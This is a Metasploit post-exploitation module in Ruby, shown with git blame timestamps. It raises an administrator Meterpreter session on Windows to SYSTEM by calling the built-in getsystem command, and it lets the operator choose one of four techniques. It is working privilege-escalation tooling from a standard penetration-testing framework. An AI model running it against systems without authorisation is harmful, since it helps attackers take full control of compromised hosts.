Files
metasploit-gs/modules/post/windows/escalate/getsystem.rb
T

55 lines
1.5 KiB
Ruby
Raw Normal View History

2011-11-11 16:19:49 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-11-11 16:19:49 -06:00
##
require 'metasm'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-08-30 16:28:54 -05:00
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate Get System via Administrator',
'Description' => %q{
This module uses the builtin 'getsystem' command to escalate
the current session to the SYSTEM account from an administrator
user account.
},
'License' => MSF_LICENSE,
'Author' => 'hdm',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0])
])
2013-08-30 16:28:54 -05:00
end
def unsupported
print_error("This platform is not supported with this script!")
2013-08-30 16:28:54 -05:00
raise Rex::Script::Completed
end
def run
2016-08-15 23:51:05 -05:00
technique = datastore['TECHNIQUE'].to_i
2013-08-30 16:28:54 -05:00
2016-10-29 14:59:05 +10:00
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
2013-08-30 16:28:54 -05:00
if is_system?
print_good("This session already has SYSTEM privileges")
return
end
2016-08-15 23:51:05 -05:00
begin
result = client.priv.getsystem(technique)
print_good("Obtained SYSTEM via technique #{result[1]}")
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to obtain SYSTEM access")
2013-08-30 16:28:54 -05:00
end
end
2011-11-11 16:19:49 -06:00
end